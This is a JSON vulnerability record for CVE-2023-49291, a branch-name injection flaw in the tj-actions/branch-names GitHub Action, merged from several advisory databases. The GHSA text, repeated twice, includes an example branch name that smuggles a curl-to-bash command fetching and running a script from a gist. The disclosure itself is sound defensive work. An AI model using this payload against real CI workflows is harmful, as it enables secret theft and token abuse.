{"id":"CVE-2023-49291","aliases":["EUVD-2023-3165","GHSA-8v8w-v8xg-79rf"],"status":"published","title":"Improper Sanitization of Branch Name Leads to Arbitrary Code Injection","description":"tj-actions/branch-names is a Github action to retrieve branch or tag names with support for all events. The `tj-actions/branch-names` GitHub Actions improperly references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. As a result an attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions. This vulnerability has been addressed in version 7.0.7. Users are advised to upgrade. There are no known workarounds for this vulnerability.","severity":{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.01448,"percentile":0.73549,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20"],"published":"2023-12-04T23:21:33Z","modified":"2026-10-28T02:31:12Z","fixes":[{"ecosystem":"GitHub Actions","package":"tj-actions/branch-names","fixed_in":["7.0.7"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"GitHub Actions","package":"tj-actions/branch-names","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.7"}]}]},{"source":"osv","ecosystem":"GitHub Actions","package":"tj-actions/branch-names","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.7"}]}]}],"products":[{"vendor":"tj-actions","product":"branch-names"}],"references":[{"url":"https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/tj-actions/branch-names/commit/4923d1ca41f928c24f1c1b3af9daaadfb71e6337","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/tj-actions/branch-names/commit/6c999acf206f5561e19f46301bb310e9e70d8815","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/tj-actions/branch-names/commit/726fe9ba5e9da4fcc716223b7994ffd0358af060","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://securitylab.github.com/research/github-actions-untrusted-input","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49291","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8v8w-v8xg-79rf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/49xxx/CVE-2023-49291.json","tags":["advisory"]},{"url":"https://github.com/tj-actions/branch-names","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-49291","title":"Improper Sanitization of Branch Name Leads to Arbitrary Code Injection","description":"tj-actions/branch-names is a Github action to retrieve branch or tag names with support for all events. The `tj-actions/branch-names` GitHub Actions improperly references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. As a result an attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions. This vulnerability has been addressed in version 7.0.7. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2023-12-04T23:21:33.367Z","modified":"2024-08-02T21:53:44.957Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"critical","assessor":"cna"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:35:12.596526Z"}],"euvd":[{"id":"EUVD-2023-3165","description":"tj-actions/branch-names is a Github action to retrieve branch or tag names with support for all events. The `tj-actions/branch-names` GitHub Actions improperly references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. As a result an attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions. This vulnerability has been addressed in version 7.0.7. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2023-12-04T23:21:33Z","modified":"2024-08-02T21:53:44Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"critical"}],"updated_at":"2026-11-03T03:49:56.293511Z"}],"ghsa":[{"id":"GHSA-8v8w-v8xg-79rf","title":"tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection","description":"### Summary\n\nThe `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.\n\n### Details \n\nThe vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable.\n\n```yml\nruns:\n  using: \"composite\"\n  steps:\n    - id: branch\n      run: |\n        # \"Set branch names...\"\n        if [[ \"${{ github.ref }}\" != \"refs/tags/\"* ]]; then\n          BASE_REF=$(printf \"%q\" \"${{ github.event.pull_request.base.ref || github.base_ref }}\")\n          HEAD_REF=$(printf \"%q\" \"${{ github.event.pull_request.head.ref || github.head_ref }}\")\n          REF=$(printf \"%q\" \"${{ github.ref }}\")\n```\n\nAn attacker can use a branch name to inject arbitrary code, for example: `Test\")${IFS}\u0026\u0026${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash\u0026\u0026echo${IFS}$(\"foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.\n\n### Impact\nAn attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions.\n\n### Reference\n- https://securitylab.github.com/research/github-actions-untrusted-input","status":"published","published":"2023-12-05T23:30:10Z","modified":"2023-12-07T13:50:50Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:37:24.593982Z"}],"nvd":[{"id":"CVE-2023-49291","description":"tj-actions/branch-names is a Github action to retrieve branch or tag names with support for all events. The `tj-actions/branch-names` GitHub Actions improperly references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. As a result an attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions. This vulnerability has been addressed in version 7.0.7. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2023-12-05T00:15:09.403Z","modified":"2026-06-17T06:35:46.92Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:08:52.544469Z"}],"osv":[{"id":"CVE-2023-49291","title":"Improper Sanitization of Branch Name Leads to Arbitrary Code Injection","description":"tj-actions/branch-names is a Github action to retrieve branch or tag names with support for all events. The `tj-actions/branch-names` GitHub Actions improperly references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. As a result an attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions. This vulnerability has been addressed in version 7.0.7. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2023-12-04T23:21:33.367Z","modified":"2026-10-28T02:31:12.474489637Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:44:34.72355Z"},{"id":"GHSA-8v8w-v8xg-79rf","title":"tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection","description":"### Summary\n\nThe `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.\n\n### Details \n\nThe vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable.\n\n```yml\nruns:\n  using: \"composite\"\n  steps:\n    - id: branch\n      run: |\n        # \"Set branch names...\"\n        if [[ \"${{ github.ref }}\" != \"refs/tags/\"* ]]; then\n          BASE_REF=$(printf \"%q\" \"${{ github.event.pull_request.base.ref || github.base_ref }}\")\n          HEAD_REF=$(printf \"%q\" \"${{ github.event.pull_request.head.ref || github.head_ref }}\")\n          REF=$(printf \"%q\" \"${{ github.ref }}\")\n```\n\nAn attacker can use a branch name to inject arbitrary code, for example: `Test\")${IFS}\u0026\u0026${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash\u0026\u0026echo${IFS}$(\"foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.\n\n### Impact\nAn attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions.\n\n### Reference\n- https://securitylab.github.com/research/github-actions-untrusted-input","status":"published","published":"2023-12-05T23:30:10Z","modified":"2023-12-06T20:48:41Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:46:42.78452Z"}]}}